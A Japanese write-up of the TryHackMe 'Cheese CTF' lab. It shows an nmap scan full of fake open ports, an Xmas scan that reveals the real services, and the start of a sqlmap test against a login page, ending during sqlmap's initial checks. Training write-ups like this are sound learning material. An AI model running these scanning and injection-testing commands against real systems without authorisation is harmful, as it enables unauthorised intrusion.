はじめに

本記事はTryHackMeのWriteupです。

RoomはCheese CTF、Difficulty（難易度）はEasyです。

このRoomでは、PHPのfilter chainやsystemctlに関するスキルについて学ぶことができます。

ポートスキャン

はじめにポートスキャンを実行します。

ポートスキャンを実行すると、多くのポートの状態がopenになっていることが確認できます。

出力例

9/tcp     open  discard
13/tcp    open  daytime
17/tcp    open  qotd
19/tcp    open  chargen
20/tcp    open  ftp-data
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
24/tcp    open  priv-mail
25/tcp    open  smtp
26/tcp    open  rsftp
30/tcp    open  unknown
32/tcp    open  unknown
33/tcp    open  dsp
37/tcp    open  time
42/tcp    open  nameserver
43/tcp    open  whois
49/tcp    open  tacacs
53/tcp    open  domain
70/tcp    open  gopher
79/tcp    open  finger
80/tcp    open  http
81/tcp    open  hosts2-ns
82/tcp    open  xfer
83/tcp    open  mit-ml-dev
84/tcp    open  ctf
85/tcp    open  mit-ml-dev
88/tcp    open  kerberos-sec
89/tcp    open  su-mit-tg
90/tcp    open  dnsix
99/tcp    open  metagram
100/tcp   open  newacct
106/tcp   open  pop3pw
109/tcp   open  pop2
110/tcp   open  pop3
111/tcp   open  rpcbind
113/tcp   open  ident
119/tcp   open  nntp
125/tcp   open  locus-map
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
143/tcp   open  imap
144/tcp   open  news
146/tcp   open  iso-tp0
161/tcp   open  snmp
163/tcp   open  cmip-man
179/tcp   open  bgp
199/tcp   open  smux
211/tcp   open  914c-g
212/tcp   open  anet
222/tcp   open  rsh-spx
254/tcp   open  unknown
255/tcp   open  unknown
256/tcp   open  fw1-secureremote
259/tcp   open  esro-gen
264/tcp   open  bgmp
280/tcp   open  http-mgmt
301/tcp   open  unknown
306/tcp   open  unknown
311/tcp   open  asip-webadmin
340/tcp   open  unknown
366/tcp   open  odmr
389/tcp   open  ldap
406/tcp   open  imsp
407/tcp   open  timbuktu
416/tcp   open  silverplatter
417/tcp   open  onmux
425/tcp   open  icad-el
427/tcp   open  svrloc
443/tcp   open  https
444/tcp   open  snpp
445/tcp   open  microsoft-ds
458/tcp   open  appleqtc
464/tcp   open  kpasswd5
465/tcp   open  smtps
481/tcp   open  dvs
497/tcp   open  retrospect
500/tcp   open  isakmp
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
515/tcp   open  printer
524/tcp   open  ncp
541/tcp   open  uucp-rlogin
543/tcp   open  klogin
544/tcp   open  kshell
545/tcp   open  ekshell
548/tcp   open  afp
554/tcp   open  rtsp
555/tcp   open  dsf
563/tcp   open  snews
587/tcp   open  submission
593/tcp   open  http-rpc-epmap
616/tcp   open  sco-sysmgr
617/tcp   open  sco-dtmgr
625/tcp   open  apple-xsrvr-admin
631/tcp   open  ipp
636/tcp   open  ldapssl
646/tcp   open  ldp
648/tcp   open  rrp
666/tcp   open  doom
667/tcp   open  disclose
668/tcp   open  mecomm
683/tcp   open  corba-iiop
687/tcp   open  asipregistry
691/tcp   open  resvc
700/tcp   open  epp
705/tcp   open  agentx
711/tcp   open  cisco-tdp
714/tcp   open  iris-xpcs
720/tcp   open  unknown
722/tcp   open  unknown
726/tcp   open  unknown
749/tcp   open  kerberos-adm
765/tcp   open  webster
777/tcp   open  multiling-http
783/tcp   open  spamassassin
787/tcp   open  qsc
800/tcp   open  mdbs_daemon
801/tcp   open  device
808/tcp   open  ccproxy-http
843/tcp   open  unknown
873/tcp   open  rsync
880/tcp   open  unknown
888/tcp   open  accessbuilder
898/tcp   open  sun-manageconsole
900/tcp   open  omginitialrefs
901/tcp   open  samba-swat
902/tcp   open  iss-realsecure
903/tcp   open  iss-console-mgr
911/tcp   open  xact-backup
912/tcp   open  apex-mesh
981/tcp   open  unknown
987/tcp   open  unknown
990/tcp   open  ftps
992/tcp   open  telnets
993/tcp   open  imaps
995/tcp   open  pop3s
999/tcp   open  garcon
1000/tcp  open  cadlock
1001/tcp  open  webpush
1002/tcp  open  windows-icfw
1007/tcp  open  unknown
1009/tcp  open  unknown
1010/tcp  open  surf
1011/tcp  open  unknown
1021/tcp  open  exp1
1022/tcp  open  exp2
1023/tcp  open  netvenuechat
1024/tcp  open  kdm
1025/tcp  open  NFS-or-IIS
1026/tcp  open  LSA-or-nterm
1027/tcp  open  IIS
1028/tcp  open  unknown
1029/tcp  open  ms-lsa
1030/tcp  open  iad1
1031/tcp  open  iad2
1032/tcp  open  iad3
1033/tcp  open  netinfo
1034/tcp  open  zincite-a
1035/tcp  open  multidropper
1036/tcp  open  nsstp
1037/tcp  open  ams
1038/tcp  open  mtqp
1039/tcp  open  sbl
1040/tcp  open  netsaint
1041/tcp  open  danf-ak2
1042/tcp  open  afrog
1043/tcp  open  boinc
1044/tcp  open  dcutility
1045/tcp  open  fpitp
1046/tcp  open  wfremotertm
1047/tcp  open  neod1
1048/tcp  open  neod2
1049/tcp  open  td-postman
1050/tcp  open  java-or-OTGfileshare
1051/tcp  open  optima-vnet
1052/tcp  open  ddt
1053/tcp  open  remote-as
1054/tcp  open  brvread
1055/tcp  open  ansyslmd
1056/tcp  open  vfo
1057/tcp  open  startron
1058/tcp  open  nim
1059/tcp  open  nimreg
1060/tcp  open  polestar
1061/tcp  open  kiosk
1062/tcp  open  veracity
1063/tcp  open  kyoceranetdev
1064/tcp  open  jstel
1065/tcp  open  syscomlan
1066/tcp  open  fpo-fns
1067/tcp  open  instl_boots
1068/tcp  open  instl_bootc
1069/tcp  open  cognex-insight
1070/tcp  open  gmrupdateserv
1071/tcp  open  bsquare-voip
1072/tcp  open  cardax
1073/tcp  open  bridgecontrol
1074/tcp  open  warmspotMgmt
1075/tcp  open  rdrmshc
1076/tcp  open  sns_credit
1077/tcp  open  imgames
1078/tcp  open  avocent-proxy
1079/tcp  open  asprovatalk
1080/tcp  open  socks
1081/tcp  open  pvuniwien
1082/tcp  open  amt-esd-prot
1083/tcp  open  ansoft-lm-1
1084/tcp  open  ansoft-lm-2
1085/tcp  open  webobjects
1086/tcp  open  cplscrambler-lg
1087/tcp  open  cplscrambler-in
1088/tcp  open  cplscrambler-al
1089/tcp  open  ff-annunc
1090/tcp  open  ff-fms
1091/tcp  open  ff-sm
1092/tcp  open  obrpd
1093/tcp  open  proofd
1094/tcp  open  rootd
1095/tcp  open  nicelink
1096/tcp  open  cnrprotocol
1097/tcp  open  sunclustermgr
1098/tcp  open  rmiactivation
1099/tcp  open  rmiregistry
1100/tcp  open  mctp
1102/tcp  open  adobeserver-1
1104/tcp  open  xrl
1105/tcp  open  ftranhc
1106/tcp  open  isoipsigport-1
1107/tcp  open  isoipsigport-2
1108/tcp  open  ratio-adp
1110/tcp  open  nfsd-status
1111/tcp  open  lmsocialserver
1112/tcp  open  msql
1113/tcp  open  ltp-deepspace
1114/tcp  open  mini-sql
1117/tcp  open  ardus-mtrns
1119/tcp  open  bnetgame
1121/tcp  open  rmpp
1122/tcp  open  availant-mgr
1123/tcp  open  murray
1124/tcp  open  hpvmmcontrol
1126/tcp  open  hpvmmdata
1130/tcp  open  casp
1131/tcp  open  caspssl
1132/tcp  open  kvm-via-ip
1137/tcp  open  trim
1138/tcp  open  encrypted_admin
1141/tcp  open  mxomss
1145/tcp  open  x9-icue
1147/tcp  open  capioverlan
1148/tcp  open  elfiq-repl
1149/tcp  open  bvtsonar
1151/tcp  open  unizensus
1152/tcp  open  winpoplanmess
1154/tcp  open  resacommunity
1163/tcp  open  sddp
1164/tcp  open  qsm-proxy
1165/tcp  open  qsm-gui
1166/tcp  open  qsm-remote
1169/tcp  open  tripwire
1174/tcp  open  fnet-remote-ui
1175/tcp  open  dossier
1183/tcp  open  llsurfup-http
1185/tcp  open  catchpole
1186/tcp  open  mysql-cluster
1187/tcp  open  alias
1192/tcp  open  caids-sensor
1198/tcp  open  cajo-discovery
1199/tcp  open  dmidi
1201/tcp  open  nucleus-sand
1213/tcp  open  mpc-lifenet
1216/tcp  open  etebac5
1217/tcp  open  hpss-ndapi
1218/tcp  open  aeroflight-ads
1233/tcp  open  univ-appserver
1234/tcp  open  hotline
1236/tcp  open  bvcontrol
1244/tcp  open  isbconference1
1247/tcp  open  visionpyramid
1248/tcp  open  hermes
1259/tcp  open  opennl-voice
1271/tcp  open  excw
1272/tcp  open  cspmlockmgr
1277/tcp  open  miva-mqs
1287/tcp  open  routematch
1296/tcp  open  dproxy
1300/tcp  open  h323hostcallsc
1301/tcp  open  ci3-software-1
1309/tcp  open  jtag-server
1310/tcp  open  husky
1311/tcp  open  rxmon
1322/tcp  open  novation
1328/tcp  open  ewall
1334/tcp  open  writesrv
1352/tcp  open  lotusnotes
1417/tcp  open  timbuktu-srv1
1433/tcp  open  ms-sql-s
1434/tcp  open  ms-sql-m
1443/tcp  open  ies-lm
1455/tcp  open  esl-lm
1461/tcp  open  ibm_wrless_lan
1494/tcp  open  citrix-ica
1500/tcp  open  vlsi-lm
1501/tcp  open  sas-3
1503/tcp  open  imtc-mcs
1521/tcp  open  oracle
1524/tcp  open  ingreslock
1533/tcp  open  virtual-places
1556/tcp  open  veritas_pbx
1580/tcp  open  tn-tl-r1
1583/tcp  open  simbaexpress
1594/tcp  open  sixtrak
1600/tcp  open  issd
1641/tcp  open  invision
1658/tcp  open  sixnetudr
1666/tcp  open  netview-aix-6
1687/tcp  open  nsjtp-ctrl
1688/tcp  open  nsjtp-data
1700/tcp  open  mps-raft
1717/tcp  open  fj-hdnet
1718/tcp  open  h323gatedisc
1719/tcp  open  h323gatestat
1720/tcp  open  h323q931
1721/tcp  open  caicci
1723/tcp  open  pptp
1755/tcp  open  wms
1761/tcp  open  landesk-rc
1782/tcp  open  hp-hcip
1783/tcp  open  unknown
1801/tcp  open  msmq
1805/tcp  open  enl-name
1812/tcp  open  radius
1839/tcp  open  netopia-vo1
1840/tcp  open  netopia-vo2
1862/tcp  open  mysql-cm-agent
1863/tcp  open  msnp
1864/tcp  open  paradym-31
1875/tcp  open  westell-stats
1900/tcp  open  upnp
1914/tcp  open  elm-momentum
1935/tcp  open  rtmp
1947/tcp  open  sentinelsrm
1971/tcp  open  netop-school
1972/tcp  open  intersys-cache
1974/tcp  open  drp
1984/tcp  open  bigbrother
1998/tcp  open  x25-svc-port
1999/tcp  open  tcp-id-port
2000/tcp  open  cisco-sccp
2001/tcp  open  dc
2002/tcp  open  globe
2003/tcp  open  finger
2004/tcp  open  mailbox
2005/tcp  open  deslogin
2006/tcp  open  invokator
2007/tcp  open  dectalk
2008/tcp  open  conf
2009/tcp  open  news
2010/tcp  open  search
2013/tcp  open  raid-am
2020/tcp  open  xinupageserver
2021/tcp  open  servexec
2022/tcp  open  down
2030/tcp  open  device2
2033/tcp  open  glogger
2034/tcp  open  scoremgr
2035/tcp  open  imsldoc
2038/tcp  open  objectmanager
2040/tcp  open  lam
2041/tcp  open  interbase
2042/tcp  open  isis
2043/tcp  open  isis-bcast
2045/tcp  open  cdfunc
2046/tcp  open  sdfunc
2047/tcp  open  dls
2048/tcp  open  dls-monitor
2049/tcp  open  nfs
2065/tcp  open  dlsrpn
2068/tcp  open  avocentkvm
2099/tcp  open  h2250-annex-g
2100/tcp  open  amiganetfs
2103/tcp  open  zephyr-clt
2105/tcp  open  eklogin
2106/tcp  open  ekshell
2107/tcp  open  msmq-mgmt
2111/tcp  open  kx
2119/tcp  open  gsigatekeeper
2121/tcp  open  ccproxy-ftp
2126/tcp  open  pktcable-cops
2135/tcp  open  gris
2144/tcp  open  lv-ffx
2160/tcp  open  apc-2160
2161/tcp  open  apc-agent
2170/tcp  open  eyetv
2179/tcp  open  vmrdp
2190/tcp  open  tivoconnect
2191/tcp  open  tvbus
2196/tcp  open  unknown
2200/tcp  open  ici
2222/tcp  open  EtherNetIP-1
2251/tcp  open  dif-port
2260/tcp  open  apc-2260
2288/tcp  open  netml
2301/tcp  open  compaqdiag
2323/tcp  open  3d-nfsd
2366/tcp  open  qip-login
2381/tcp  open  compaq-https
2382/tcp  open  ms-olap3
2383/tcp  open  ms-olap4
2393/tcp  open  ms-olap1
2394/tcp  open  ms-olap2
2399/tcp  open  fmpro-fdal
2401/tcp  open  cvspserver
2492/tcp  open  groove
2500/tcp  open  rtsserv
2522/tcp  open  windb
2525/tcp  open  ms-v-worlds
2557/tcp  open  nicetec-mgmt
2601/tcp  open  zebra
2602/tcp  open  ripd
2604/tcp  open  ospfd
2605/tcp  open  bgpd
2607/tcp  open  connection
2608/tcp  open  wag-service
2638/tcp  open  sybase
2701/tcp  open  sms-rcinfo
2702/tcp  open  sms-xfer
2710/tcp  open  sso-service
2717/tcp  open  pn-requester
2718/tcp  open  pn-requester2
2725/tcp  open  msolap-ptp2
2800/tcp  open  acc-raid
2809/tcp  open  corbaloc
2811/tcp  open  gsiftp
2869/tcp  open  icslap
2875/tcp  open  dxmessagebase2
2909/tcp  open  funk-dialout
2910/tcp  open  tdaccess
2920/tcp  open  roboeda
2967/tcp  open  symantec-av
2968/tcp  open  enpp
2998/tcp  open  iss-realsec
3000/tcp  open  ppp
3001/tcp  open  nessus
3003/tcp  open  cgms
3005/tcp  open  deslogin
3006/tcp  open  deslogind
3007/tcp  open  lotusmtap
3011/tcp  open  trusted-web
3013/tcp  open  gilatskysurfer
3017/tcp  open  event_listener
3030/tcp  open  arepa-cas
3031/tcp  open  eppc
3052/tcp  open  powerchute
3071/tcp  open  csd-mgmt-port
3077/tcp  open  orbix-loc-ssl
3128/tcp  open  squid-http
3168/tcp  open  poweronnud
3211/tcp  open  avsecuremgmt
3221/tcp  open  xnm-clear-text
3260/tcp  open  iscsi
3261/tcp  open  winshadow
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3283/tcp  open  netassistant
3300/tcp  open  ceph
3301/tcp  open  tarantool
3306/tcp  open  mysql
3322/tcp  open  active-net
3323/tcp  open  active-net
3324/tcp  open  active-net
3325/tcp  open  active-net
3333/tcp  open  dec-notes
3351/tcp  open  btrieve
3367/tcp  open  satvid-datalnk
3369/tcp  open  satvid-datalnk
3370/tcp  open  satvid-datalnk
3371/tcp  open  satvid-datalnk
3372/tcp  open  msdtc
3389/tcp  open  ms-wbt-server
3390/tcp  open  dsc
3404/tcp  open  unknown
3476/tcp  open  nppmp
3493/tcp  open  nut
3517/tcp  open  802-11-iapp
3527/tcp  open  beserver-msg-q
3546/tcp  open  unknown
3551/tcp  open  apcupsd
3580/tcp  open  nati-svrloc
3659/tcp  open  apple-sasl
3689/tcp  open  rendezvous
3690/tcp  open  svn
3703/tcp  open  adobeserver-3
3737/tcp  open  xpanel
3766/tcp  open  sitewatch-s
3784/tcp  open  bfd-control
3800/tcp  open  pwgpsi
3801/tcp  open  ibm-mgr
3809/tcp  open  apocd
3814/tcp  open  neto-dcs
3826/tcp  open  wormux
3827/tcp  open  netmpi
3828/tcp  open  neteh
3851/tcp  open  spectraport
3869/tcp  open  ovsam-mgmt
3871/tcp  open  avocent-adsap
3878/tcp  open  fotogcad
3880/tcp  open  igrs
3889/tcp  open  dandv-tester
3905/tcp  open  mupdate
3914/tcp  open  listcrt-port-2
3918/tcp  open  pktcablemmcops
3920/tcp  open  exasoftport1
3945/tcp  open  emcads
3971/tcp  open  lanrevserver
3986/tcp  open  mapper-ws_ethd
3995/tcp  open  iss-mgmt-ssl
3998/tcp  open  dnx
4000/tcp  open  remoteanything
4001/tcp  open  newoak
4002/tcp  open  mlchat-proxy
4003/tcp  open  pxc-splr-ft
4004/tcp  open  pxc-roid
4005/tcp  open  pxc-pin
4006/tcp  open  pxc-spvr
4045/tcp  open  lockd
4111/tcp  open  xgrid
4125/tcp  open  rww
4126/tcp  open  ddrepl
4129/tcp  open  nuauth
4224/tcp  open  xtell
4242/tcp  open  vrml-multi-use
4279/tcp  open  vrml-multi-use
4321/tcp  open  rwhois
4343/tcp  open  unicall
4443/tcp  open  pharos
4444/tcp  open  krb524
4445/tcp  open  upnotifyp
4446/tcp  open  n1-fwp
4449/tcp  open  privatewire
4550/tcp  open  gds-adppiw-db
4567/tcp  open  tram
4662/tcp  open  edonkey
4848/tcp  open  appserv-http
4899/tcp  open  radmin
4900/tcp  open  hfcs
4998/tcp  open  maybe-veritas
5000/tcp  open  upnp
5001/tcp  open  commplex-link
5002/tcp  open  rfe
5003/tcp  open  filemaker
5004/tcp  open  avt-profile-1
5009/tcp  open  airport-admin
5030/tcp  open  surfpass
5033/tcp  open  jtnetd-server
5050/tcp  open  mmcc
5051/tcp  open  ida-agent
5054/tcp  open  rlm-admin
5060/tcp  open  sip
5061/tcp  open  sip-tls
5080/tcp  open  onscreen
5087/tcp  open  biotic
5100/tcp  open  admd
5101/tcp  open  admdog
5102/tcp  open  admeng
5120/tcp  open  barracuda-bbs
5190/tcp  open  aol
5200/tcp  open  targus-getdata
5214/tcp  open  unknown
5221/tcp  open  3exmp
5222/tcp  open  xmpp-client
5225/tcp  open  hp-server
5226/tcp  open  hp-status
5269/tcp  open  xmpp-server
5280/tcp  open  xmpp-bosh
5298/tcp  open  presence
5357/tcp  open  wsdapi
5405/tcp  open  pcduo
5414/tcp  open  statusd
5431/tcp  open  park-agent
5432/tcp  open  postgresql
5440/tcp  open  unknown
5500/tcp  open  hotline
5510/tcp  open  secureidprop
5544/tcp  open  unknown
5550/tcp  open  sdadmind
5555/tcp  open  freeciv
5560/tcp  open  isqlplus
5566/tcp  open  westec-connect
5631/tcp  open  pcanywheredata
5633/tcp  open  beorl
5666/tcp  open  nrpe
5678/tcp  open  rrac
5679/tcp  open  activesync
5718/tcp  open  dpm
5730/tcp  open  unieng
5800/tcp  open  vnc-http
5801/tcp  open  vnc-http-1
5802/tcp  open  vnc-http-2
5810/tcp  open  unknown
5811/tcp  open  unknown
5815/tcp  open  unknown
5822/tcp  open  unknown
5825/tcp  open  unknown
5850/tcp  open  unknown
5859/tcp  open  wherehoo
5862/tcp  open  unknown
5877/tcp  open  unknown
5900/tcp  open  vnc
5901/tcp  open  vnc-1
5902/tcp  open  vnc-2
5903/tcp  open  vnc-3
5904/tcp  open  ag-swim
5906/tcp  open  rpas-c2
5907/tcp  open  dsd
5910/tcp  open  cm
5911/tcp  open  cpdlc
5915/tcp  open  unknown
5922/tcp  open  unknown
5925/tcp  open  unknown
5950/tcp  open  unknown
5952/tcp  open  unknown
5959/tcp  open  unknown
5960/tcp  open  unknown
5961/tcp  open  unknown
5962/tcp  open  unknown
5963/tcp  open  indy
5987/tcp  open  wbem-rmi
5988/tcp  open  wbem-http
5989/tcp  open  wbem-https
5998/tcp  open  ncd-diag
5999/tcp  open  ncd-conf
6000/tcp  open  X11
6001/tcp  open  X11:1
6002/tcp  open  X11:2
6003/tcp  open  X11:3
6004/tcp  open  X11:4
6005/tcp  open  X11:5
6006/tcp  open  X11:6
6007/tcp  open  X11:7
6009/tcp  open  X11:9
6025/tcp  open  x11
6059/tcp  open  X11:59
6100/tcp  open  synchronet-db
6101/tcp  open  backupexec
6106/tcp  open  isdninfo
6112/tcp  open  dtspc
6123/tcp  open  backup-express
6129/tcp  open  unknown
6156/tcp  open  unknown
6346/tcp  open  gnutella
6389/tcp  open  clariion-evr01
6502/tcp  open  netop-rc
6510/tcp  open  mcer-port
6543/tcp  open  mythtv
6547/tcp  open  powerchuteplus
6565/tcp  open  unknown
6566/tcp  open  sane-port
6567/tcp  open  esp
6580/tcp  open  parsec-master
6646/tcp  open  unknown
6666/tcp  open  irc
6667/tcp  open  irc
6668/tcp  open  irc
6669/tcp  open  irc
6689/tcp  open  tsa
6692/tcp  open  unknown
6699/tcp  open  napster
6779/tcp  open  unknown
6788/tcp  open  smc-http
6789/tcp  open  ibm-db2-admin
6792/tcp  open  unknown
6839/tcp  open  unknown
6881/tcp  open  bittorrent-tracker
6901/tcp  open  jetstream
6969/tcp  open  acmsoda
7000/tcp  open  afs3-fileserver
7001/tcp  open  afs3-callback
7002/tcp  open  afs3-prserver
7004/tcp  open  afs3-kaserver
7007/tcp  open  afs3-bos
7019/tcp  open  doceri-ctl
7025/tcp  open  vmsvc-2
7070/tcp  open  realserver
7100/tcp  open  font-service
7103/tcp  open  unknown
7106/tcp  open  unknown
7200/tcp  open  fodms
7201/tcp  open  dlip
7402/tcp  open  rtps-dd-mt
7435/tcp  open  unknown
7443/tcp  open  oracleas-https
7496/tcp  open  unknown
7512/tcp  open  unknown
7625/tcp  open  unknown
7627/tcp  open  soap-http
7676/tcp  open  imqbrokerd
7741/tcp  open  scriptview
7777/tcp  open  cbt
7778/tcp  open  interwise
7800/tcp  open  asr
7911/tcp  open  unknown
7920/tcp  open  unknown
7921/tcp  open  unknown
7937/tcp  open  nsrexecd
7938/tcp  open  lgtomapper
7999/tcp  open  irdmi2
8000/tcp  open  http-alt
8001/tcp  open  vcom-tunnel
8002/tcp  open  teradataordbms
8007/tcp  open  ajp12
8008/tcp  open  http
8009/tcp  open  ajp13
8010/tcp  open  xmpp
8011/tcp  open  unknown
8021/tcp  open  ftp-proxy
8022/tcp  open  oa-system
8031/tcp  open  unknown
8042/tcp  open  fs-agent
8045/tcp  open  unknown
8080/tcp  open  http-proxy
8081/tcp  open  blackice-icecap
8082/tcp  open  blackice-alerts
8083/tcp  open  us-srv
8084/tcp  open  websnp
8085/tcp  open  unknown
8086/tcp  open  d-s-n
8087/tcp  open  simplifymedia
8088/tcp  open  radan-http
8089/tcp  open  unknown
8090/tcp  open  opsmessaging
8093/tcp  open  unknown
8099/tcp  open  unknown
8100/tcp  open  xprint-server
8180/tcp  open  unknown
8181/tcp  open  intermapper
8192/tcp  open  sophos
8193/tcp  open  sophos
8194/tcp  open  sophos
8200/tcp  open  trivnet1
8222/tcp  open  unknown
8254/tcp  open  unknown
8290/tcp  open  unknown
8291/tcp  open  unknown
8292/tcp  open  blp3
8300/tcp  open  tmi
8333/tcp  open  bitcoin
8383/tcp  open  m2mservices
8400/tcp  open  cvd
8402/tcp  open  abarsd
8443/tcp  open  https-alt
8500/tcp  open  fmtp
8600/tcp  open  asterix
8649/tcp  open  unknown
8651/tcp  open  unknown
8652/tcp  open  unknown
8654/tcp  open  unknown
8701/tcp  open  unknown
8800/tcp  open  sunwebadmin
8873/tcp  open  dxspider
8888/tcp  open  sun-answerbook
8899/tcp  open  ospf-lite
8994/tcp  open  unknown
9000/tcp  open  cslistener
9001/tcp  open  tor-orport
9002/tcp  open  dynamid
9003/tcp  open  unknown
9009/tcp  open  pichat
9010/tcp  open  sdr
9011/tcp  open  d-star
9040/tcp  open  tor-trans
9050/tcp  open  tor-socks
9071/tcp  open  unknown
9080/tcp  open  glrpc
9081/tcp  open  cisco-aqos
9090/tcp  open  zeus-admin
9091/tcp  open  xmltec-xmlmail
9099/tcp  open  unknown
9100/tcp  open  jetdirect
9101/tcp  open  jetdirect
9102/tcp  open  jetdirect
9103/tcp  open  jetdirect
9110/tcp  open  unknown
9111/tcp  open  DragonIDSConsole
9200/tcp  open  wap-wsp
9207/tcp  open  wap-vcal-s
9220/tcp  open  unknown
9290/tcp  open  unknown
9415/tcp  open  unknown
9418/tcp  open  git
9485/tcp  open  unknown
9500/tcp  open  ismserver
9502/tcp  open  unknown
9503/tcp  open  unknown
9535/tcp  open  man
9575/tcp  open  unknown
9593/tcp  open  cba8
9594/tcp  open  msgsys
9595/tcp  open  pds
9618/tcp  open  condor
9666/tcp  open  zoomcp
9876/tcp  open  sd
9877/tcp  open  x510
9878/tcp  open  kca-service
9898/tcp  open  monkeycom
9900/tcp  open  iua
9917/tcp  open  unknown
9929/tcp  open  nping-echo
9943/tcp  open  unknown
9944/tcp  open  unknown
9968/tcp  open  unknown
9998/tcp  open  distinct32
9999/tcp  open  abyss
10000/tcp open  snet-sensor-mgmt
10001/tcp open  scp-config
10002/tcp open  documentum
10003/tcp open  documentum_s
10004/tcp open  emcrmirccd
10009/tcp open  swdtp-sv
10010/tcp open  rxapi
10012/tcp open  unknown
10024/tcp open  unknown
10025/tcp open  unknown
10082/tcp open  amandaidx
10180/tcp open  unknown
10215/tcp open  unknown
10243/tcp open  unknown
10566/tcp open  unknown
10616/tcp open  unknown
10617/tcp open  unknown
10621/tcp open  unknown
10626/tcp open  unknown
10628/tcp open  unknown
10629/tcp open  unknown
10778/tcp open  unknown
11110/tcp open  sgi-soap
11111/tcp open  vce
11967/tcp open  sysinfo-sp
12000/tcp open  cce4x
12174/tcp open  unknown
12265/tcp open  unknown
12345/tcp open  netbus
13456/tcp open  unknown
13722/tcp open  netbackup
13782/tcp open  netbackup
13783/tcp open  netbackup
14000/tcp open  scotty-ft
14238/tcp open  unknown
14441/tcp open  unknown
14442/tcp open  unknown
15000/tcp open  hydap
15002/tcp open  onep-tls
15003/tcp open  unknown
15004/tcp open  unknown
15660/tcp open  bex-xr
15742/tcp open  unknown
16000/tcp open  fmsas
16001/tcp open  fmsascon
16012/tcp open  unknown
16016/tcp open  unknown
16018/tcp open  unknown
16080/tcp open  osxwebadmin
16113/tcp open  unknown
16992/tcp open  amt-soap-http
16993/tcp open  amt-soap-https
17877/tcp open  unknown
17988/tcp open  unknown
18040/tcp open  unknown
18101/tcp open  unknown
18988/tcp open  unknown
19101/tcp open  unknown
19283/tcp open  keysrvr
19315/tcp open  keyshadow
19350/tcp open  unknown
19780/tcp open  unknown
19801/tcp open  unknown
19842/tcp open  unknown
20000/tcp open  dnp
20005/tcp open  btx
20031/tcp open  unknown
20221/tcp open  unknown
20222/tcp open  ipulse-ics
20828/tcp open  unknown
21571/tcp open  unknown
22939/tcp open  unknown
23502/tcp open  unknown
24444/tcp open  unknown
24800/tcp open  unknown
25734/tcp open  unknown
25735/tcp open  unknown
26214/tcp open  unknown
27000/tcp open  flexlm0
27352/tcp open  unknown
27353/tcp open  unknown
27355/tcp open  unknown
27356/tcp open  unknown
27715/tcp open  unknown
28201/tcp open  unknown
30000/tcp open  ndmps
30718/tcp open  unknown
30951/tcp open  unknown
31038/tcp open  unknown
31337/tcp open  Elite
32768/tcp open  filenet-tms
32769/tcp open  filenet-rpc
32770/tcp open  sometimes-rpc3
32771/tcp open  sometimes-rpc5
32772/tcp open  sometimes-rpc7
32773/tcp open  sometimes-rpc9
32774/tcp open  sometimes-rpc11
32775/tcp open  sometimes-rpc13
32776/tcp open  sometimes-rpc15
32777/tcp open  sometimes-rpc17
32778/tcp open  sometimes-rpc19
32779/tcp open  sometimes-rpc21
32780/tcp open  sometimes-rpc23
32781/tcp open  unknown
32782/tcp open  unknown
32783/tcp open  unknown
32784/tcp open  unknown
32785/tcp open  unknown
33354/tcp open  unknown
33899/tcp open  unknown
34571/tcp open  unknown
34572/tcp open  unknown
34573/tcp open  unknown
35500/tcp open  unknown
38292/tcp open  landesk-cba
40193/tcp open  unknown
40911/tcp open  unknown
41511/tcp open  unknown
42510/tcp open  caerpc
44176/tcp open  unknown
44442/tcp open  coldfusion-auth
44443/tcp open  coldfusion-auth
44501/tcp open  unknown
45100/tcp open  unknown
48080/tcp open  unknown
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown
49157/tcp open  unknown
49158/tcp open  unknown
49159/tcp open  unknown
49160/tcp open  unknown
49161/tcp open  unknown
49163/tcp open  unknown
49165/tcp open  unknown
49167/tcp open  unknown
49175/tcp open  unknown
49176/tcp open  unknown
49400/tcp open  compaqdiag
49999/tcp open  unknown
50000/tcp open  ibm-db2
50001/tcp open  unknown
50002/tcp open  iiimsf
50003/tcp open  unknown
50006/tcp open  unknown
50300/tcp open  unknown
50389/tcp open  unknown
50500/tcp open  unknown
50636/tcp open  unknown
50800/tcp open  unknown
51103/tcp open  unknown
51493/tcp open  unknown
52673/tcp open  unknown
52822/tcp open  unknown
52848/tcp open  unknown
52869/tcp open  unknown
54045/tcp open  unknown
54328/tcp open  unknown
55055/tcp open  unknown
55056/tcp open  unknown
55555/tcp open  unknown
55600/tcp open  unknown
56737/tcp open  unknown
56738/tcp open  unknown
57294/tcp open  unknown
57797/tcp open  unknown
58080/tcp open  unknown
60020/tcp open  unknown
60443/tcp open  unknown
61532/tcp open  unknown
61900/tcp open  unknown
62078/tcp open  iphone-sync
63331/tcp open  unknown
64623/tcp open  unknown
64680/tcp open  unknown
65000/tcp open  unknown
65129/tcp open  unknown
65389/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 16.63 seconds

上記結果を踏まえて、SYN/ACKを返していることから、何らかのポートスキャン対策を実装していると考えられます。

対応として-sXオプションを付与して、クリスマススキャンを実行します。

$ sudo nmap -sX <IP address>

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-25 20:31 JST
Nmap scan report for 10.10.123.5
Host is up (0.26s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE         SERVICE
22/tcp   open|filtered ssh
80/tcp   open|filtered http
4444/tcp open|filtered krb524

Nmap done: 1 IP address (1 host up) scanned in 12.85 seconds

クリスマススキャン実行後、適切なポートスキャンの結果が得られました。

列挙

ポートスキャンの結果を踏まえて、80番ポートにアクセスすると、以下の様な画面が表示されます。

Loginページの存在が確認できます。

sqlmap

Loginページを調査するにあたって、sqlmapを使用します。

sqlmapを使用するためには、Burp Suiteを実行して、Loginページに対するリクエストをインターセプトしたデータを使用します。

$ sqlmap -r login.req http://<IP address>

        ___
       __H__
 ___ ___[']_____ ___ ___  {1.8.8#stable}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 20:52:13 /2024-10-25/

[20:52:13] [INFO] parsing HTTP request from 'login.req'
[20:52:14] [INFO] testing connection to the target URL
[20:52:14] [INFO] testing if the target URL content is stable
